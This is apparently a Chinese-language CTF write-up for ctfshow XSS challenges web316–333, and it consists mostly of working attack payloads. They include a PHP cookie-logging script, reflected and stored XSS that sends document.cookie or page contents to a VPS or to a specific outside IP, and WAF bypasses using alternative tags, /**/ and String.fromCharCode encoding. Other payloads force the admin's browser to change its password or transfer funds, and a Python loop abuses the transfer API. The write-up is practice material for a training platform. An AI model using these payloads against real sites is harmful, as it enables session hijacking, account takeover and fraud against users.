web316
反射型xss
测一下xss
<script>alert(1)</script>
法1:网上找一个xss平台去生成payload去拿cookie
法2:自己搭一个xss平台,生成payload去拿cookie
法3:在vps上放一个接受cookie的php,然后起http服务,让bot去访问
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
Payload:
<script>location.href="http://your-vps-ip:port/path/*.php(存放上述php代码的文件)?cookie="+document.cookie</script>
突然注意到其实也不需要在php文件里面写一个记录cookie的功能,因为document.cookie携带出来的cookie被我们用get传参直接跟上了
web317
反射型xss
发现上一题弹窗语句不能用了,测出来发现script
被waf了(大小写无法绕过),换个标签头能绕过
<img src=x onerror=alert(1) >
<input onmouseover=alert(1) />
Payload:
<img src="" οnerrοr=location.href="http://your-vps-ip:port/path/*.php?cookie="+document.cookie>
#不知道为啥这个触发不了
<svg onload="location.href='http://your-vps-ip:port/path/*.php?c='+document.cookie"/>
web318
反射型xss
测试回显,以下paylod有回显
<input onmouseover=alert(1) /> #有弹窗
<svg onload="alert(1)"/> #有弹窗
<body>alert(1)</body> #也有回显
Payload:
<svg onload="location.href='http://your-vps-ip:port/*.php?c='+document.cookie"/>
<body οnlοad=location.href="http://your-vps-ip:port/*.php?cookie="+document.cookie>
web319
反射型xss
同318
web320
反射型xss
先测waf:空格
、script
、img
,均不可用大小写绕过
空格这里用/**/
绕过
<iframe/**/onload="alert(1)"></iframe>
Payload:
<iframe/**/onload=window.location.href='http://your-vps-ip:port/get.php?c='+document.cookie;>
补充小知识:String.fromCharCode
函数的妙用
参考链接:https://blog.csdn.net/Jayjay___/article/details/133375048
这个函数可以将ascii转成字母,从而实现一些绕过
Such as:
<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>
解码内容:
<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>
web321
反射型xss
测waf:空格
、script
、img
、iframe
、;
、xss
上题payload接着打:
<iframe/**/onload=window.location.href='http://your-vps-ip:port/x.php?c='+document.cookie;>
wen322
反射型xss
同上题
web323
反射型xss
同上题
web324
反射型xss
<body/**/onload="window.open('http:/your-vps-ip:port/x.php?cookie='+document.cookie)"></body>
上面的打不动了,换了一个(貌似后面试上面的又能通了?)
web325
反射型xss
同上
web326
反射型xss
同上
web327
存储型xss
随便写点东西交上去,会转到/mail.php
,同时显示:网络拥堵,请稍后再试
抓包看到cookie有东西,提示admin,不妨换个收信人尝试
收信人换成admin,发信才会成功
信的内容带上xss语句试试带cookie
<script>location.href="http://your-vps-ip:port/x.php?cookie="+document.cookie</script>
web328
存储型xss
进去就是登录页,注册一个用户登上去看看,用户管理页有信息点需要管理员才可见
这里对admin进行弱密码爆破貌似无用,只能想办法成为管理员了,这里是xss专题,我们要是能拿到管理员cookie,不就能伪装admin看到用户管理页,需要找一个注入点打xss
注意到用户管理页显示的是用户名和密码,我们注册的用户名、密码能被管理员看到,那是否在用户名和密码处丢xss语句能被解析,从而拿到admin的cookie?
看官方视频,这里还应该去考虑闭合前面的语句,防止js写上去不被解析,但此处不需要闭合
不起http服务了,直接netcat也可,提前nc监听好:
#注册时用户名或密码填入即可
<script>window.open('http://your-vps-ip:port/'+document.cookie)</script>
拿到一个cookie:PHPSESSID=31b6bjm4bk42opn97ogc6jkk1f
cookie不像前面一样带着flag了,不过没关系,有这个我们就能登上admin了
改一下cookie,进用户管理页就能看到flag
那个空白的就是我们在用户名注入的xss语句
web329
存储型xss
怎么我直接拿上题打法就通了….
尝试一下别的师傅wp的写法:
1.用类名读取元素
可以看到前端代码中显示admin密码的类为:layui-table-cell laytable-cell-1-0-1
,直接document拿
Payload:
<script>window.open('http://your-vps-ip:port/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
拿到flag
jay17师傅的解释:
window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。 'http://120.46.41.173:9023/' 这是一个字符串,表示要打开的网页的 URL。它包括了协议(http://)、主机名(120.46.41.173)和端口号(9023),以及路径(后面的斜杠 /)。 document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。 document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell' 和 'laytable-cell-1-0-1' 的元素,通常这是一种针对表格单元格的选择。 [1] 表示从匹配的元素列表中选择第二个元素(JavaScript 中的数组索引从 0 开始)。 .innerHTML 用于获取选定元素的 HTML 内容,也就是在这个表格单元格中显示的文本或 HTML。
2.jQuery 选择器查找类和获取内容
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {window.location.href = 'http://120.46.41.173:9023/' +value.innerHTML;}});</script>
jay17师傅的解释:
$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index, value) { ... }); 这是一个 jQuery 选择器,它查找具有类名 'layui-table-cell'、'laytable-cell-1-0-1' 的 <div> 元素集合,并对每个元素执行一个函数。 .each(function(index, value) { ... }) 这是 jQuery 的遍历方法,它会遍历匹配的元素集合,并对每个元素执行包含在函数中的操作。在这里,函数接受两个参数,index 表示当前元素在集合中的索引,value 表示当前元素的引用。 if (value.innerHTML.indexOf('ctfshow{') > -1) { ... } 这是在遍历中的条件语句,它检查当前元素的内容是否包含字符串 'ctfshow{'。value.innerHTML 表示当前元素的 HTML 内容,.indexOf('ctfshow{') 用于查找是否包含 'ctfshow{',如果包含则返回大于 -1 的索引,否则返回 -1。 window.location.href = 'http://120.46.41.173:9023/' + value.innerHTML; 如果条件满足,即当前元素的内容包含 'ctfshow{',则执行这一行代码。它会将浏览器的当前位置重定向到一个新的 URL,这个 URL 是 'http://120.46.41.173:9023/' 加上当前元素的内容。这样就可以在浏览器中打开一个新的页面,新页面的 URL 包含了 'ctfshow{' 以及其他内容。
补充:
value.innerHTML.indexOf('script') === -1
这里是查找不包含script
的索引
web330
存储型xss
比上题多了个修改密码的接口,修改密码接口/api/change.php?p=123
,GET传参的是改的密码,这里用的是cookie来验证身份,也就是说我们拿到admin的cookie指不定就能改admin的密码。
但是发现admin的cookie是实时变化的,那不妨引导admin去访问这个接口,更改密码
Payload:
<script>window.location.href='http://127.0.0.1/api/change.php?p=123123';</script>
关于window.location.href
• 读取时(
var url = window.location.href;
)返回当前页面的完整 URL。 • 赋值时(window.location.href = '
https://example.com
';
)会让浏览器导航(重定向)到指定的 URL。
之后登录账号admin,密码123123
web331
存储型xss
这里与上题差不多,但是从GET传参变成了POST传参,改一改即可
Payload:
<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'1717'}})</script>
//还可以改写成jQuery $.post() 方法
<script>$.post("api/change.php", { p: "1717" });</script>
• $.ajax({…}) – jQuery 的通用异步请求方法,会返回一个 jqXHR(promise-like)对象。
• url: “api/change.php” – 请求的目标地址,即服务器上负责处理这次请求的脚本路径。
• method: “POST” – HTTP 请求方式为 POST,会把数据放在请求体中。
• data: { ‘p’: ‘1717’ } – 要发送给服务器的参数,这里相当于向 api/change.php 传递了一个名为 p、值为 1717 的字段。
$.post() 方法通过 HTTP POST 请求向服务器提交数据。
语法:$.post( URL [, data ] [, callback ] [, dataType ] )
web332
存储型xss
改密码依然是POST传参,但是发现上题打法不行了,于是考虑转账
转账接口在/api/amount.php
,POST传参:u
=
1
&
a
=
1
——u是转账用户,a是金额
看了别的师傅的wp,发现可以给admin转账负数,然后那个钱就会跑你自己账户里去…..
web333
存储型xss
上题负数转账不可行了,注意到用户管理接口还在,考虑后台有bot会访问,写个xss语句让admin给我转账
Payload:
<script>$.post("/api/amount.php", { u:'molu',a:'10000' });</script>
//其他师傅paylod:
<script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
jay17师傅:自己转自己脚本:
import requests
url = "http://c7e62c4c-a965-48a5-9c7a-390114141304.challenge.ctf.show/api/amount.php"
headers ={'Cookie':'PHPSESSID=gcvvvfpmp9c8dnfrd34b2ts93r'} #自己账号登陆后的sessionid
for i in range(0,10000):
tmp=i*4
data = {
'u': 'jay',
'a': str(tmp)
}
res=requests.post(url,data=data,headers=headers)